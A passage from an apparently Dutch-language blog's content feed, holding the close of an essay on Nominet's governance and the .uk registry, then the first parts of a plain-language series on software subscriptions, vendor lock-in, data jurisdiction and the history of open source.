executive goedkeurt. De laagst scorende categorie is senior management, op 2,3. Reviewers beoordelen hun collega\u0026rsquo;s en het werk hoog. Wat ze niet beoordelen is de laag erboven.\nDat is een middelmatige score in plaats van een vernietigende, en het zou gelezen moeten worden als wat het is: een zelfselecterende steekproef op een publieke site. Maar de vorm van de klacht is herkenbaar die welke de leden in 2021 maakten — een strategie die niemand kan uitleggen, beloning die naar boven vloeit, en de mensen die het nationale register runnen die niet gevraagd worden.\nAndere chief executive. Dezelfde klacht.\nWat Het Zegt Over Wie Een ccTLD Bestuurt Kom terug op de vraag bovenaan.\nICANN had niets hiervan kunnen doen. Het had geen contract over .uk, geen standing, en geen mechanisme voorbij het schrijven van een brief. Alles in de ICANN-post over Specification 6, compliance en monitoring gold voor Nominets gTLD\u0026rsquo;s en niet voor de zone die werkelijk voor het land ertoe doet.\nDe Britse overheid deed het ook niet, en het is de moeite waard duidelijk te zijn over waarom, want de gangbare aanname is fout. .uk wordt niet toegekend op een overheidscontract. Er is geen aanbesteding, geen verlengingsdatum en geen concurrent die klaar staat om erop te bieden. Nominet houdt de delegatie van IANA, op dezelfde manier als elk ander landcode-register de zijne houdt, en niemand deelt die om de paar jaar uit.\nWat de overheid wel heeft is een reservebevoegdheid, en bijna niemand weet dat die er is.\nSecties 19 tot 21 van de Digital Economy Act 2010 laten de Secretary of State optreden waar er een \u0026ldquo;serious relevant failure\u0026rdquo; — ernstig relevant falen — is bij een kwalificerend internetdomeinregister — een falen dat de beschikbaarheid of reputatie van Britse communicatie, of de belangen van consumenten of het publiek, nadelig beïnvloedt. Nominet is dat register. Na kennisgeving en een kans om zienswijzen in te dienen, kan de Secretary of State een manager over het register aanstellen, of de rechter verzoeken om de statuten ervan te wijzigen.\nDat is een heel stuk meer dan ICANN ooit over enige ccTLD heeft gehad. En hier is het deel dat het waard is bij stil te staan: die twee secties lagen veertien jaar sluimerend, en werden in werking gesteld op 6 april 2024 — hetzelfde jaar dat Nominet het NCSC-contract verloor en 70 ontslagen aankondigde.\nIk ga niet beweren dat die feiten verbonden zijn, want ik weet niet dat ze dat zijn. Wat op het record staat is dat de bevoegdheid om een manager in het .uk-register te zetten in 2024 actief werd, en dat de veertien jaar ervoor niet was geweest.\nEn dat is alleen de binnenlandse route. Er is een tweede, en het is de reden dat geen enkele ccTLD-operator waar dan ook zijn delegatie bij recht houdt.\nEen landcode-delegatie kan verplaatst worden. IANA herdelegeert ccTLD\u0026rsquo;s, onder RFC 1591, ICP-1 en de GAC Principles, en het heeft dat herhaaldelijk gedaan — .kz, .iq, .za, .gd, .gw en andere. De GAC Principles houden dat elke overheid de uiteindelijke verantwoordelijkheid binnen zijn eigen territorium draagt voor nationaal openbaar beleid, en in de praktijk behandelt IANA de opvatting van de erkende overheid als een grote overweging bij elke overdracht van het domein van zijn land.\nAustralië, zoals hierboven, zette dat in 2018 op schrift — hervorm of de delegatie verplaatst.\nDus een Britse overheid die besloot dat .uk ergens anders moest zijn, zou niet geblokkeerd worden. Het zou niet direct zijn, het is geen bevoegdheid die per aankondiging uitgeoefend wordt, en de lokale internetgemeenschap zou geraadpleegd worden. Maar de machinerie bestaat, de precedenten bestaan, en de mening van de overheid is de zwaarste enkele input erin.\nWat .uk in een positie plaatst die het waard is ronduit te stellen. Communicatie is een van de kritieke nationale infrastructuursectoren van het VK, en de staat behandelt DNS dienovereenkomstig — het NCSC koopt al jaren protective DNS voor de publieke sector. Een register dat kritieke nationale infrastructuur runt, waarvan de overheid binnenlands een manager over kan aanstellen en waarvan het woord de doorslag zou geven in een internationale herdelegatie, houdt zijn delegatie niet als eigendom. Het houdt het op gedogen, en het gedogen is voorwaardelijk aan niemand in verlegenheid brengen.\nWat het disciplineerde was een ledenstemming, nipt, zes jaar in het probleem, na een campagne gerund door één hostingbedrijf dat zijn eigen ledengegevens op 500 vellen papier overhandigd moest krijgen om zijn zaak te bepleiten.\nDat is een beter verantwoordingsmechanisme dan wat ICANN ook heeft. Het verwijderde de chief executive en de voorzitter van een nationaal register, wat geen enkel ICANN-proces ooit iemand heeft aangedaan. Het is ook traag, tegendraads, afhankelijk van iemand die besluit er een jaar van zijn leven aan te besteden, en het kwam binnen een paar procentpunten van falen.\nWat ongeveer is waar DNS-governance overal staat. De mechanismen die werken zijn die welke iemand met middelen ervoor kiest te bedienen. .cm wildcardde een heel top-level domain jarenlang omdat niemand met standing bezwaar maakte. Freenom stopte pas toen Meta een rechtszaak aanspande. .uk veranderde van koers omdat een hostingbedrijf een stemming organiseerde.\nNiets daarvan is governance in de zin die het woord impliceert. Het is wie toevallig kwam opdagen.\nEen Vrije Gedachte Om Mee Af Te Sluiten Alles hierboven is ofwel onderbouwd of gemarkeerd als mijn eigen ervaring. Dit laatste deel is geen van beide. Het is wat ik denk, en je bent vrij het ermee oneens te zijn.\nIk begon bij Nominet in 2017, wat negen jaar geleden is. Russell Haworth nam het over in 2015, wat elf is. Dat is lang genoeg voor een organisatie om iets geleerd te hebben.\nHeeft ze dat?\nOp papier, ja. De raad die weggestemd werd is weg. De commerciële cyberambities zijn afgewikkeld. De liefdadigheidsarm werd onafhankelijk en gaat nog steeds onder eigen naam door. De leden gebruikten het ene mechanisme dat ze hadden en het werkte.\nKijk dan naar wat er werkelijk voor je ligt. .uk is een vijfde kleiner dan het in 2019 was en nog steeds krimpend. Het contract dat de diversificatie uiteindelijk produceerde is naar een goedkopere bieder gegaan. Zeventig functies gingen ermee mee. De chief executive briefte dat .uk-prijzen niet onbeperkt op 2020-niveaus gehouden kunnen worden — wat dezelfde hefboom is die de problemen in de eerste plaats hielp beginnen. En het personeel beoordeelt senior management met 2,3 van de 5, met 29% die de chief executive goedkeurt. Een andere chief executive, en herkenbaar dezelfde klacht.\nDus mijn eerlijke antwoord is dat de mensen veranderd werden en ik er niet van overtuigd ben dat de organisatie dat werd.\nHet is de moeite waard op te merken waar Haworth daarna heenging, want het is geen kritiek en dat is precies waarom het ertoe doet. Voor Nominet had hij veertien jaar bij Thomson Reuters doorgebracht, in financiële data. Daarna ging hij naar NBS, toen Byggfakta, toen Acclaro — abonnementsbusinesses met professionele klanten, terugkerend inkomen en pricing power. NBS zette in 2023 £45m om tegen £23,6m EBITDA. Dat zijn goede cijfers, en ze krijgen is waar een commerciële chief executive voor is.\nWat nogal het punt is, en je hoeft mijn woord voor de karakterisering niet te nemen. Zijn eigen professionele profiel omschrijft hem als een chief executive voor private-equity-gesteunde B2B-businesses. Dat is de baan die hij doet, hij zegt het zelf, en hij is er duidelijk goed in.\nHij is een commercieel operator en hij deed commerciële dingen. De fout was nooit zijn temperament — het was dat temperament aan het hoofd zetten van een organisatie wiens overschot geen kapitaal was en dat nooit hoorde te zijn, en dan niemand in een positie laten om het te controleren gedurende zes jaar.\nAl is NBS een tweede blik waard, want de vorm ervan is bekend.\nNBS verkoopt Chorus, het specificatiegereedschap waar de meeste Britse architectenpraktijken in werken. Het is verweven met Revit- en ISO 19650-workflows, en er is geen serieus alternatief — architecten beschrijven het als een vitaal gereedschap waar ze simpelweg voor moeten blijven betalen. De licentie van één beoefenaar ging van £1.385 in 2015 naar £7.350, wat de Architects\u0026rsquo; Journal rapporteerde als een stijging van 400% over een decennium. Er is geen tarief voor kleine praktijken, dus een eenmanspraktijk betaalt hetzelfde per zitplaats als een bedrijf van 200 man. De woorden in de vakpers zijn \u0026ldquo;rip-off increases\u0026rdquo; en \u0026ldquo;well above inflation\u0026rdquo; — afzetterij-stijgingen en ruim boven de inflatie — naast de observatie dat er weinig alternatief is voor betalen.\nWees voorzichtig met de attributie, want de data lopen niet zo op de manier die je zou willen. Chorus werd gelanceerd in 2018. RIBA verkocht NBS tussen 2018 en 2020 voor rond £172 miljoen, en een voormalige RIBA-voorzitter heeft gezegd dat het nooit de controle had moeten afstaan — een zin met een zekere echo eraan. Haworth runde de business van oktober 2021 tot oktober 2024. De scherpste stijgingen gerapporteerd, en de luidste klachten, zijn van 2024 en 2025, nadat hij vertrokken was, en de chief executive die ze nu publiekelijk verdedigt is iemand anders.\nDus dit is geen bewijs over een man. Het is bewijs over een vorm.\nEen beroepsvereniging verkoopt het gereedschap dat zijn leden niet zonder kunnen werken. De koper ontdekt dat de klanten niet weg kunnen. De prijs stijgt ruim boven de inflatie, jaar na jaar, en de klachten komen nergens want er is nergens voor ze om heen te gaan. Dat is .uk, en het is wat .org bijna werd toen ICANN de prijsplafonds ophief vier maanden voordat een private-equity-vehikel $1,135 miljard ervoor bood.\nWat de werkelijke les is, en het is geen comfortabele voor iemand die hoopte dat dit over één bestuurder ging. Gevangen professionele klanten, een essentieel gereedschap, geen alternatieve leverancier: die regeling produceert dezelfde uitkomst wie het ook runt, tenzij iets in de weg staat. Bij Nominet waren de leden dat uiteindelijk. Bij NBS is er niemand — de beroepsvereniging die die rol had kunnen spelen verkocht haar aandeel en liep weg met £172 miljoen.\nIk denk niet dat dat werkelijk over een individu gaat, ook. Zet wie dan ook aan het hoofd van een leden-eigendom-monopolie dat een nationaal bezit runt zonder toezichthouder die kijkt, en geef ze een overschot zonder duidelijke eigenaar, en de trek gaat altijd naar het besteden ervan aan iets interessanters dan het ding dat het verdient. .uk goed runnen is geen verhaal dat je op een conferentie kunt vertellen. Op Australië bieden wel.\nDe correctie moet, wanneer die komt, van leden komen — wat betekent dat iemand een jaar van zijn leven moet opgeven om een stemming te organiseren tegen een zittende die het geld van diezelfde leden besteedt om zich te verzetten. Dat gebeurde één keer, en het ging door met 2,7 procentpunten op een opkomst van 53%. Niemand zou een verantwoordingsmechanisme zo ontwerpen.\nDe twee echte vangnetten lagen de hele tijd ongebruikt. De Digital Economy Act-bevoegdheden kwamen pas in 2024 in werking. Een herdelegatie is door niemand ooit serieus voorgesteld.\nNegen jaar later, het ding dat ik zou willen weten, en van buitenaf niet kan zien, is of iemand bij Nominet vandaag hardop in een vergadering zou kunnen zeggen — we zijn een non-profit, zouden we hier echt geld aan moeten besteden? — en een jaar later nog steeds daar zou werken.\nAls het antwoord ja is, heeft het iets geleerd. Als het nee is, dan was alles wat in 2021 veranderde de namen.\n","permalink":"https://blogs.damiendye.uk/nl/dns/what-happened-at-nominet/","summary":"Het .uk-register is eigendom van zijn leden, en in maart 2021 stemden ze de halve raad weg. Hoe het landschap er werkelijk van binnenuit uitzag, waarom het draaien van .uk naast tientallen gTLD\u0026rsquo;s vormde hoe het gerund werd, en hoe een register zonder toezichthouder uiteindelijk gedisciplineerd werd door de enige mensen die dat konden.","title":"Wat Er Gebeurde Bij Nominet"},{"content":"Deel 1 van 8. Deze serie is simpel geschreven, met korte regels en alledaagse woorden.\nWat deze post behandelt Wat er veranderde in hoe je technologie koopt. Waarom het veranderde. Waarom een leverancier verlaten moeilijker werd. Waarom open source er geen einde aan maakte. Waar het geheel geëindigd is. De verandering Twintig jaar terug kocht je software.\nJe betaalde één keer. Die kopie was van jou. Je kon hem blijven gebruiken zolang hij werkte.\nNu wordt de meeste software gehuurd. Je betaalt elk jaar alleen om hem te blijven gebruiken.\nStop met betalen, en hij stopt met werken. Je bezit niks.\nDat is wat een abonnement is. Een abonnement is een betaling die je keer op keer doet om een dienst te behouden.\nHetzelfde gebeurde met het rekenen zelf. Vroeger kocht je servers. Nu huren veel bedrijven hun rekenkracht van een cloudprovider.\nEen cloudprovider is een bedrijf dat de computers voor je draait, in zijn eigen gebouwen.\nWaarom het veranderde Laten we hier eerlijk over zijn, want het telt. Het veranderde omdat huren vaak de betere deal was.\nServers kopen kost veel vooraf. Huren kost heel weinig vooraf.\nClouddiensten waren betrouwbaar en snel op te zetten. Kleine teams kregen gereedschap dat vroeger alleen grote bedrijven zich konden veroorloven.\nAbonnementen brachten ook regelmatige updates. Geen grote omwenteling meer plannen om de paar jaar.\nDus de meeste bedrijven verhuisden, en ze hadden goede reden. Niemand werd gedwongen.\nDe vraag die deze serie stelt komt later. Het gaat over wat er gebeurt zodra ergens anders heen gaan moeilijk is geworden.\nWaarom weggaan moeilijker werd Hier is het deel dat telt.\nElke stap in deze verandering verschoof waar het moeilijk was om weg te gaan.\nEerst zat het in het bestandsformaat. Een bestandsformaat is de manier waarop een programma je werk opslaat. Als maar één programma je bestanden kon openen, bleef je dat programma kopen.\nOpen bestandsformaten losten dat op. De meeste documenten openen tegenwoordig in meer dan één programma.\nDus het moeilijke deel verschoof. Het ging naar de interface.\nEen interface is de manier waarop het ene stuk software met het andere praat. Bouw al je systemen rond de interface van één leverancier, en van leverancier veranderen betekent alles herschrijven.\nToen verschoof het weer, naar je data.\nEen kleine hoeveelheid data verplaatsen is makkelijk genoeg. Jaren ervan verplaatsen is traag, en sommige providers rekenen je om het eruit te halen.\nElke verschuiving maakte de software zelf minder belangrijk. Als zodanig telt nu hoeveel werk het je zou kosten om weg te gaan.\nWaar de moeilijkheid van weggaan heeft gezeten, over de tijd Toen Later Nu Je data Bestandsformaat Interface Het programma Je data Bestandsformaat Interface Het programma Je data Bestandsformaat Interface Het programma De blauwe doos is het deel dat moeilijk te veranderen is. Elke keer dat een laag werd opengebroken, verschoof de moeilijkheid naar de volgende. Dezelfde lagen, 3 keer. Het moeilijk-te-veranderen deel is geklommen: eerst het bestandsformaat, dan de interface, dan de data. Waarom open source er geen einde aan maakte Open source software is software waarvan iedereen de code kan lezen, gebruiken en veranderen.\nHeel wat mensen verwachtten dat het dit zou oplossen. Het loste een echt deel ervan op, maar niet het deel dat je zou denken.\nOpen source won. Het meeste van het internet draait erop. De code voor de meeste belangrijke stukken staat er om te lezen.\nHet moeilijke deel van weggaan verdween echter niet, want het was al doorgeschoven.\nJe kunt elke regel van een database lezen. Je kunt nog steeds niet makkelijk 5 jaar data uit de managed service halen die het draait.\nEen managed service is waar een provider de software voor je draait, zodat jij dat niet hoeft.\nDe code is open. De dienst is dat niet.\nEr is hier een tweede punt, en het is een terecht punt.\nVeel open source wordt draaiende gehouden door vrijwilligers die niet betaald worden. Grote bedrijven bouwen producten op dat werk.\nIn 2024 werd ontdekt dat een veelgebruikt compressiegereedschap schadelijke code verborgen in zich droeg. Dat gereedschap werd onderhouden door 1 onbetaald persoon. Bruce Schneier en anderen schreven het in detail op.\nDe les is niet dat open source riskant is. Het is dat gedeeld werk waar iedereen op leunt betaald moet worden, en dat vaak niet is.\nWaar het geëindigd is Zet die stappen samen en je krijgt waar we nu zijn.\nEen klein aantal bedrijven levert de diensten waar de meeste bedrijven van afhankelijk zijn.\nDe meeste van die bedrijven zitten in 1 land, de Verenigde Staten.\nOnderzoek verzameld door het EuroStack-project zet niet-Europese providers op ongeveer 85% van de Europese cloudmarkt.\nGeen enkele beslissing deed dit. Het is het resultaat van heel veel verstandige keuzes, één voor één gemaakt, over 20 jaar.\nDat is wat het een trend maakt en geen gebeurtenis.\nWat het voor jou betekent Niets hiervan zegt dat Amerikaanse software slecht is. Veel ervan is heel goed, wat precies is hoe het overal terechtkwam.\nHet betekent wel dat 1 vraag meer telt dan vroeger.\nHoe lang zou het je kosten om naar een andere leverancier te verhuizen?\nDat getal beslist een heleboel, en deel 2 legt uit waarom.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/technology-you-rent/","summary":"Twintig jaar terug kocht je software en de kopie was van jou. Nu huur je het, en de leverancier stelt de voorwaarden. Deel 1 van 8 loopt door hoe dat gebeurde, en waarom elke stap het moeilijker maakte om ergens anders heen te gaan.","title":"Hoe Technologie Iets Werd Dat Je Huurt"},{"content":"Deel 2 van 8. Deel 1 behandelde hoe huren kopen verving.\nWat deze post behandelt Hoe de prijs wordt gezet zodra weggaan moeilijk is. Waar de winst belast wordt. Wiens wet op je data van toepassing is. Hoe handelsbeslissingen je apparatuur bereiken. Wat er gebeurt als een dienst simpelweg stopt. 1. De prijs volgt je vertrekkosten Begin met degene die de meeste organisaties al gehad hebben.\nIn 2023 kocht Broadcom VMware. VMware maakt de software die gebruikt wordt om veel virtuele servers op 1 fysieke server te draaien.\nBroadcom stopte toen met het verkopen van permanente licenties. Klanten moesten overstappen op abonnementen.\nPrijzen gingen voor heel wat van hen scherp omhoog. AT\u0026amp;T zei in rechtbankstukken dat zijn kosten met ongeveer 1.050% zouden stijgen.\nCISPE is een brancheorganisatie voor Europese cloudproviders. Het heeft bij de Europese Commissie geklaagd over de veranderingen, met cijfers van een vergelijkbare omvang.\nIn maart 2026 klaagde CISPE opnieuw, nadat het Europese partnerprogramma werd gesloten. The Register rapporteerde wat providers ervan vonden.\nEr is hier niets onwettigs bewezen. De klachten worden nog bekeken.\nMaar het patroon is helder genoeg om van te leren.\nEen verlenging is een onderhandeling. Je positie erin rust op 1 ding: hoe makkelijk je zou kunnen weglopen.\nAls weglopen je 3 jaar zou kosten, heb je heel weinig ruimte om nee te zeggen.\nDit gaat overigens niet alleen over Amerikaanse leveranciers. Elke leverancier in die positie heeft hetzelfde voordeel.\n2. Waar de winst belast wordt De tweede kost is moeilijker te zien.\nHeel wat grote technologiebedrijven verkopen aan klanten in 1 land en boeken de winst in een ander.\nHet lokale bedrijf wordt vaak behandeld als dienstverlener aan zijn moederbedrijf. Het meeste van de winst gaat elders heen.\nDus je krijgt grote verkopen in een land en een kleine belastingaanslag in dat land.\nTaxWatch is een onderzoeksgroep in het Verenigd Koninkrijk. Het schatte dat 7 grote technologiegroepen in 2021 bijna £15 miljard winst maakten uit Britse klanten. Het schatte dat hun constructies ongeveer £2 miljard van de verschuldigde Britse vennootschapsbelasting afhaalden.\nEuropa heeft deze constructies aangepakt. De resultaten zijn gemengd, en het is niet meer dan eerlijk beide kanten te tonen.\nApple verloor. In september 2024 bevestigde het Hof van Justitie van de Europese Unie dat Ierse belastingconstructies onwettige staatssteun waren. Ierland kreeg ongeveer €14 miljard terug. Amazon won. In december 2023 wees hetzelfde hof het beroep van de Europese Commissie af in een vergelijkbare zaak over Luxemburg. Er is ook een wereldwijd akkoord, Pillar Two genaamd. Het stelt een minimumbelastingtarief van 15%.\nIn januari 2026 publiceerde de Organisatie voor Economische Samenwerking en Ontwikkeling een side-by-side-regeling. Eronder volgen bedrijven met hoofdkantoor in de Verenigde Staten Amerikaanse regels in plaats van de meeste wereldwijde.\nSommige landen probeerden hun eigen digitaledienstenbelasting. Canada nam er een aan, en liet die toen vallen in juni 2025 nadat de Verenigde Staten handelsbesprekingen erover afbliezen.\nDus het geld wordt op de ene plek verdiend. Waar het belast wordt, wordt ergens anders beslecht.\n3. Wiens wet van toepassing is Deze wordt meer misbegrepen dan welke andere ook, dus het is de moeite waard precies te zijn.\nHeel wat mensen geloven dat data in Europa houden het onder Europese wet houdt en niets anders.\nDat klopt niet helemaal. Wat telt is wie het bedrijf beheert dat het houdt.\nDe CLOUD Act is een Amerikaanse wet uit 2018. Het vereist dat een Amerikaanse provider data die het beheert overhandigt, waar die data ook zit. Het Department of Justice zet het detail uiteen.\nDus een datacenter in Frankfurt, gerund door een bedrijf dat in de Verenigde Staten in eigendom is, kan nog steeds door een Amerikaans rechtelijk bevel worden bereikt.\n\u0026ldquo;Onze data blijft in Europa\u0026rdquo; en \u0026ldquo;onze data valt buiten Amerikaanse wet\u0026rdquo; zijn 2 verschillende uitspraken. Zorgvuldige leveranciers doen alleen de eerste.\nEen rechtelijk bevel volgt wie het bedrijf beheert, niet waar het gebouw staat Datacenter in Europa Je data wordt hier opgeslagen De locatie volgt EU-recht Moederbedrijf Gevestigd in een ander land Beheert de data runt de locatie Een rechtelijk bevel arriveert hier Het bevel hoeft niet naar het gebouw te gaan. Het gaat naar wie de data ook beheert. Het gebouw staat in Europa. Het bedrijf dat het runt is elders in eigendom. Een rechtelijk bevel gaat naar de eigenaar, niet naar het gebouw. De regels hier verschuiven ook, in beide richtingen.\nSection 702 is een Amerikaanse surveillancewet. Het liep af op 2026-06-12 toen het Congres het niet verlengde.\nDat betekent niet dat verzameling stopte. Al verleende goedkeuringen lopen door tot ze verlopen, verwacht rond maart 2027. Het Brennan Center houdt het bij.\nEr is ook het EU–US Data Privacy Framework. Het laat persoonsgegevens van Europa naar de Verenigde Staten bewegen.\nEen juridische aanvechting ervan werd afgewezen in september 2025. Die beslissing is nu in beroep.\nHet framework is vandaag geldig recht. Het is ook het derde van zijn soort, want de 2 ervoor werden vernietigd.\nAls een overdrachtsregeling faalt, landt de kost op de Europese organisatie die het gebruikt. In 2023 beboette de Ierse Data Protection Commission Meta met €1,2 miljard over overdrachten naar de Verenigde Staten.\nEr is een kalm, praktisch antwoord op dit alles, en het is de moeite waard te weten.\nAls je provider de sleutels tot je data houdt, kan je provider een rechtelijk bevel beantwoorden.\nHoud de sleutels zelf en het bevel moet in plaats daarvan bij jou komen. Als zodanig valt de beslissing onder de wet van je eigen land.\n4. Handelsbeslissingen bereiken je apparatuur Technologie is nu deel van handelsbeleid.\nIn januari 2026 legden de Verenigde Staten een tarief van 25% op een smalle groep geavanceerde computerchips en de producten die ze bevatten. Een tweede fase is aangekondigd.\nOf je eigen apparatuur eronder valt verandert na verloop van tijd. Je leverancier is de juiste om te vragen.\nHandelsrelaties kunnen ook snel kantelen. Besprekingen tussen de Verenigde Staten en Canada liepen vast op 2026-08-22, met nieuwe tarieven van 50%. Canada kondigde maatregelen aan in antwoord.\nDe Canadese premier zette de redenen publiek uiteen.\nHet punt voor jou is een smal punt, en het rust niet op iemands politiek.\nDe kost en beschikbaarheid van apparatuur kunnen veranderen door een beslissing genomen in een ander land, op korte termijn.\nDe moeite waard om rekening mee te houden in een 3-jarenplan.\n5. Een dienst kan stoppen om redenen die niet de jouwe zijn Deze laatste is onwaarschijnlijk voor de meeste organisaties. Het staat hier omdat het anders werkt dan de rest.\nIn februari 2025 legden de Verenigde Staten sancties op aan de aanklager van het Internationaal Strafhof.\nDe aanklager verloor toen het gebruik van zijn Microsoft-e-mailaccount, en verhuisde naar een Zwitserse provider.\nMicrosofts president zei publiek dat het bedrijf het account niet sloot. Wat er precies gebeurde is nog betwist, en het is niet meer dan eerlijk dat te zeggen.\nWat niet betwist is, is het effect. De Duitse technologiepublicatie heise rapporteerde het als een keerpunt voor digitale soevereiniteit in Europa. Het werd opgeworpen in het Europees Parlement.\nTegen eind 2025 was het Hof overgestapt op openDesk, een open source alternatief.\nHet is het mechanisme dat hier telt.\nGeen onbetaalde rekening. Geen regel gebroken. Niks mis met de dienst.\nEen overheid nam een beslissing, en een leverancier moest uitwerken wat het rechtmatig kon blijven leveren.\nJe afspraak is met je leverancier. De wettelijke plichten van je leverancier zijn aan zijn eigen overheid.\nJe kunt hier niet op monitoren. Er is geen waarschuwingslampje op een dashboard.\nVoor de meeste lezers is het risico klein, en het accepteren is redelijk. Het is alleen redelijk als je erover hebt nagedacht.\nHet patroon over alle 5 Deze 5 kosten zijn heel verschillend van elkaar.\nJe zult de eerste hoogstwaarschijnlijk tegenkomen. De laatste kom je misschien nooit tegen.\nMaar ze delen 1 ding.\nElk ervan wordt erger naarmate het moeilijker is voor jou om weg te gaan.\nEen prijsstijging is een ergernis als je ergens heen kunt. Het is ernstig als dat niet zo is.\nDat is de draad die door de hele boel loopt, en het wijst ergens nuttig heen.\nDe vraag die de moeite waard is om aan te werken is niet in welk land je leverancier zit. Het is hoe snel je van gedachten zou kunnen veranderen.\nDeel 3 kijkt naar wie er nog meer voor de software die je gebruikt betaalt.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/what-renting-costs/","summary":"Zodra van leverancier veranderen moeilijk is, verandert de vorm van de kosten. De prijs volgt je vertrekkosten. Winst wordt in het ene land aangegeven en in het andere verdiend. De wet volgt wie het bedrijf bezit, niet waar het gebouw staat. Deel 2 van 8, in simpele taal.","title":"Wat Je Technologie Huren Kost"},{"content":"Deel 3 van 8. Deel 2 zette uiteen wat afhankelijkheid je kost.\nWat deze post behandelt De jaren waarin open source bevochten werd. Waarom de strijd stopte. Wie de software vandaag draaiende houdt. Wat er gebeurde toen de makers probeerden te rekenen. Wat er met bedrijven gebeurt nadat ze gekocht zijn. Wat het voor jou betekent. De jaren waarin open source bevochten werd Open source is software waarvan iedereen de code kan lezen, gebruiken en veranderen.\nHet is nu gewoon. Ongeveer 15 jaar lang werd het als een bedreiging behandeld.\nIn oktober 1998 lekte een intern Microsoft-memo. Eric Raymond publiceerde het met aantekeningen, en het werd bekend als de Halloween-documenten.\nHet memo was eerlijk over de kwaliteit van open source. Het noemde de manier waarop duizenden mensen er samen aan werken opmerkelijk.\nToen zette het uiteen wat eraan te doen. Eén regel verklaart een heleboel:\nBy extending these protocols and developing new protocols, we can deny OSS projects entry into the market.\nEen protocol is een afgesproken manier voor 2 systemen om met elkaar te praten.\nDus het plan was niet om een beter product te bouwen. Het plan was om de verbindingen tussen producten te veranderen, zodat een concurrent er niet in gedropt kon worden.\nVerscheidene andere stappen volgden over de volgende 10 jaar.\nIn 2003 beweerde een bedrijf genaamd SCO dat Linux code bevatte die het bezat. De zaak sleepte jaren aan en SCO won niet. Terwijl het liep, waren heel wat organisaties onzeker of het veilig was om Linux over te nemen.\nMicrosoft tekende ook octrooiovereenkomsten met mobiele-telefoonmakers. Verscheidene jaren nam het een betaling op elke verkochte telefoon die Android draaide, een besturingssysteem dat het niet had geschreven.\nIn 2008 werden Microsofts documentformaten goedgekeurd als een internationale standaard. Verscheidene nationale standaardeninstanties maakten bezwaar tegen hoe dat werd afgehandeld.\nEuropa duwde tegen een deel ervan terug. De Europese Commissie beboette Microsoft met €497 miljoen in 2004 over informatie die concurrenten nodig hadden om met zijn producten te werken.\nHet beboette het bedrijf in 2013 opnieuw met €561 miljoen, omdat een afgesproken oplossing niet was ingevoerd.\nDie tweede boete is een moment waard. Het probleem was geen nieuw probleem. De afgesproken oplossing was simpelweg niet gedaan.\nWaarom de strijd stopte Het stopte rond 2014, omdat het niet had gewerkt.\nLinux was de software geworden waar de meeste servers op draaien. Het draait ook de meeste clouddiensten en de meeste mobiele telefoons.\nJe kunt iets niet via de rechtbank eruit halen zodra alles erbovenop gebouwd is.\nDus de aanpak draaide helemaal om.\nMicrosoft trad toe tot de Linux Foundation. Het bracht een deel van zijn eigen gereedschap als open source uit. In 2018 kocht het GitHub, de site waar veel van \u0026rsquo;s werelds open source geschreven wordt.\nAmazon en Google bouwden heel grote bedrijven op open source, en alle 3 de bedrijven steken er nu veel werk in terug.\nDat werk is echt, en de software is er beter door. Het zou dwaas zijn te doen alsof het anders is.\nMaar 1 ding veranderde niet.\nDe bedrijven die ooit probeerden open source te vertragen behoren nu tot zijn grootste financiers. Ze zijn ook nog steeds de grootste bedrijven in de markt.\nOpen source won het technische argument. Het veranderde niet wie de sterkste hand houdt.\nWie de software vandaag draaiende houdt Hier is het stukje dat mensen buiten software verrast.\nHeel veel veelgebruikte open source wordt draaiende gehouden door heel kleine teams. Een deel ervan door 1 persoon, in eigen tijd, voor niks.\nDiezelfde stukken zitten dan binnen producten die door heel grote bedrijven verkocht worden.\nIn december 2021 dook een fout op in Log4j, een klein gereedschap dat Java-programma\u0026rsquo;s gebruiken om vast te leggen wat ze aan het doen zijn.\nDe fout liet aanvallers hun eigen code op getroffen systemen draaien. Het trof een enorm aantal organisaties tegelijk. Het Britse National Cyber Security Centre bracht er richtlijnen over uit.\nHet gereedschap werd onderhouden door een kleine groep vrijwilligers.\nDe les is niet dat open source riskant is. Het meeste ervan is heel goed, en open voor inspectie op een manier die gesloten software nooit is.\nDe les gaat over voor dingen betalen. Gedeeld werk waar veel bedrijven op leunen heeft financiering nodig, en krijgt dat vaak niet.\nDeze is te repareren, en sommige organisaties repareren het wel. Een onderhouder betalen, of een stichting financieren, is meestal een heel kleine kost naast wat de software je bespaart.\nWat er gebeurde toen de makers probeerden te rekenen Sommige bedrijven bouwen open source en verkopen er een betaalde dienst omheen. Dat werkte een hele tijd goed genoeg.\nHet werd moeilijker toen cloudproviders dezelfde software als een eigen dienst begonnen aan te bieden.\nDe provider nam de inkomsten. Het bedrijf dat de software schreef niet.\nVerscheidene ervan reageerden door hun licentie te veranderen, zodat anderen hun software niet als concurrerende dienst konden aanbieden.\nMongoDB veranderde zijn licentie in 2018. Elastic volgde in 2021. HashiCorp veranderde in 2023. Redis veranderde in 2024. Het Open Source Initiative stelt de geaccepteerde definitie van open source. Het oordeelde dat 1 van deze nieuwe licenties er niet aan voldeed.\nHeel wat Linux-distributies lieten toen de getroffen software vallen.\nDe bredere gemeenschap nam kopieën van de laatste open versies en zette die apart voort. Zo\u0026rsquo;n kopie heet een fork.\nOpenSearch zet de eerdere Elasticsearch-code voort. OpenTofu zet de eerdere Terraform-code voort. Valkey zet de eerdere Redis-code voort. Elastic en Redis zijn beide sindsdien teruggegaan naar open licenties.\nHet is de moeite waard te kijken hoe dat eindigde, want niemand die erbij betrokken was kreeg waar hij op uit was.\nEen bedrijf bouwde nuttige software. Een groter bedrijf verdiende er meer aan dan de maker. De maker beperkte de licentie om te overleven. De gemeenschap maakte bezwaar, terecht, dat dit geen open source meer was. Een fork verscheen, vaak gesteund door de grotere bedrijven.\nAan het eind ervan is de software nog steeds gratis te gebruiken. De forks worden meestal gestuurd door de grootste spelers. Het bedrijf dat voor het oorspronkelijke werk betaalde is zwakker dan toen het begon.\nWat er met bedrijven gebeurt nadat ze gekocht zijn De tweede manier waarop waarde een bedrijf verlaat heeft niks met softwarelicenties te maken.\nHet gaat over hoe een bedrijf gekocht wordt.\nHier is het patroon, ronduit.\nEen koper leent het grootste deel van de koopprijs. De lening wordt dan gedekt tegen het bedrijf dat gekocht wordt. Dus het bedrijf eindigt met de schuld die gebruikt werd om het te kopen.\nDe koper kan dan de gebouwen van het bedrijf verkopen en ze terughuren. Het opgehaalde geld kan aan de nieuwe eigenaren worden uitgekeerd. Het bedrijf betaalt nu huur op panden die het 